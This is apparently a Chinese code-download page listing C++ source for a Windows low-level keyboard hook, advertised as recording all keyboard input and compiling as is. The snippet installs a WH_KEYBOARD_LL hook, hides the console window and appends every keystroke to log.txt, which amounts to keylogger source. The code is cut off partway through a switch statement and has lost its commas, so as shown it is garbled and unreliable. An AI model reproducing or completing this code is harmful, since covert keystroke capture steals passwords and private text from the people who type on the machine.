资源简介
键盘钩子,无需使用DLL。能记录底层的所有键盘信息。直接编译即可。
代码片段和文件信息
//maincpp
#include
#include
#include
#include
#include
#include
//#define WH_KEYBOARD_LL 13
#pragma comment(lib“user32.lib“)
#pragma comment(linker“/subsystem:\“windows\“ /entry:\“mainCRTStartup\““)
using namespace std;
/*typedef struct{
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT *PKBDLLHOOKSTRUCT;*/
const int KeyBoardValue = 0x80000000;
HHOOK MyHook;
int CALLBACK KeyBoardProc(int codeWPARAM wParamLPARAM lParam);
int log(string vkcode);
string GetKeyName(int);
bool JudgeShift();
int main()
{
::MessageBox(NULLTEXT(“开始“)TEXT(“开始“)MB_OK);
MyHook=SetWindowsHookEx(WH_KEYBOARD_LL(HOOKPROC)KeyBoardProcGetModuleHandle(NULL)0);
if (MyHook == NULL){
::MessageBox(NULLTEXT(“空的“)TEXT(“空的“)MB_OK);
}
MSG msg;
while(GetMessage(&msgNULL00) != -1)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
};
UnhookWindowsHookEx(MyHook);
return 0;
}
/*int CALLBACK KeyBoardProc(int codeWPARAM wParamLPARAM lParam)
{
if (code >= HC_ACTION && wParam==WM_KEYDOWN)
{
DWORD vk_code = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
printf(“lParam = %d code = %d HC_ACTION = %d WM_KEYDOWN = %d wParam = %d vk_code = %d\n“lParamcodeHC_ACTIONWM_KEYDOWNwParamvk_code);
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
ToAscii(vk_code0ks&w0);
char ch = char(w);
log(ch);
printf(“%d“vk_code);
}
return CallNextHookEx(MyHookcodewParamlParam);
}*/
int CALLBACK KeyBoardProc(int codeWPARAM wParamLPARAM lParam)
{
if (code >= HC_ACTION && wParam==WM_KEYDOWN)
{
for(int i = 8; i <= 255; i++)
{
if((GetAsyncKeyState(i)&1) == 1) //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过
{
string KeyName = GetKeyName(i);
log(KeyName);
/*FileStream.write(KeyName.c_str() KeyName.size());
FileStream.close(); //写完一次就保存一次
FileStream.open(FileName.c_str() std::fstream::out | std::fstream::app);*/
}
}
}
return CallNextHookEx(MyHookcodewParamlParam);
}
int log(string vkcode)
{
fstream FileStream;
FileStream.open(“log.txt“ std::fstream::out | std::fstream::app);
if(vkcode == “[Enter]\n“)
{
string temp = “\r\n“;
FileStream.write(“\r\n“temp.size());
}
else
{
FileStream.write(vkcode.c_str()vkcode.size());
}
FileStream.close();
return 0;
}
/*int log(string vkcode)
{
FILE *fl;
fl = fopen(“log.txt““a+“);
if(vkcode == 13)
{
fwrite(“\r\n“12fl);
}
else
{
fwrite(KeyName.c_str()KeyName.c_str().size());
}
printf(“write ok\n“);
fclose(fl);
return 0;
}*/
string GetKeyName(int NumKey)
{
bool IS_SHIFT = JudgeShift();
string revalue = ““;
//判断键盘中间的特殊符号
if(NumKey >= 186 && NumKey <= 222) //如果是特殊符号键
{
switch(NumKey)
{
case 186:
if(IS_SHIFT)
revalue = “:“;
else
revalue = “;“;
break;
cas
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 9300 2018-06-17 00:05 LowHook.cpp
----------- --------- ---------- ----- ----
9300 1
- 上一篇:西门子s7-300PLC模糊控制
- 下一篇:Xcode代码整理
评论
共有 条评论